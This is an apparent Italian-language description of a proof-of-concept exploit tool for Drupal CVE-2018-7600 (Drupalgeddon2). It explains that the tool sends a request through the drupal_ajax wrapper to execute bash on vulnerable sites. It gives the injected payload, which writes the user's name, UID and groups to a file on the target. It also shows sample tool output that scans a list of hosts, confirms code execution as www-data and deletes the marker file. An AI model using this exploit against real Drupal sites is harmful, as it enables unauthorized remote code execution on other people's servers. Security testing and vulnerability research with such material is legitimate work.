
Prova di concetto per Drupal CVE-2018-7600 / SA-CORE-2018-002
Drupal prima della versione 7.58, 8.x prima della 8.3.9, 8.4.x prima della 8.4.6 e 8.5.x prima della 8.5.1 permette ad attaccanti remoti di eseguire codice arbitrario a causa di un problema che interessa più sottosistemi con configurazioni di modulo predefinite o comuni.
Invia un pacchetto al wrapper drupal_ajax per registrare un utente. Permette all'utente di usare il markup exec ed eseguire bash. Questa PoC invia il nome utente e l'ID a abcde.txt.
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
Controlla http*://example.com/abcde.txt
[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text
%s = nome del file
Payload per User ID, PID e Gruppo
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s